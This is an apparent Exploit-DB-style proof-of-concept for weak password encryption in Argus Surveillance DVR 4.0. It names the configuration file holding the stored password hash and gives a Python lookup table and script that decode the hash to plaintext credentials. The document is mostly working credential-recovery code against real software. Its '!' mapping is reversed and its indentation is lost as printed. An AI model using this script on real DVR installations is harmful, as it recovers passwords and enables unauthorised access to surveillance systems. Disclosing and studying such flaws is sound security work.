Description: Weak Password Encryption in Argus Surveillance DVR 4.0
Vulnerable App: Download
Exploit-DB: https://www.exploit-db.com/exploits/50130
Proof Of Concept:
C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini contains the password hash
characters = {
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z','!':'B398'}
pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4"
if (len(pass_hash)%4) != 0:
print("[!] Error, check your password hash")
exit()
split = []
n = 4
for index in range(0, len(pass_hash), n):
split.append(pass_hash[index : index + n])
for key in split:
if key in characters.keys():
print("[+] " + key + ":" + characters[key])
else:
print("[-] " + key + ":Unknown")Screenshots:
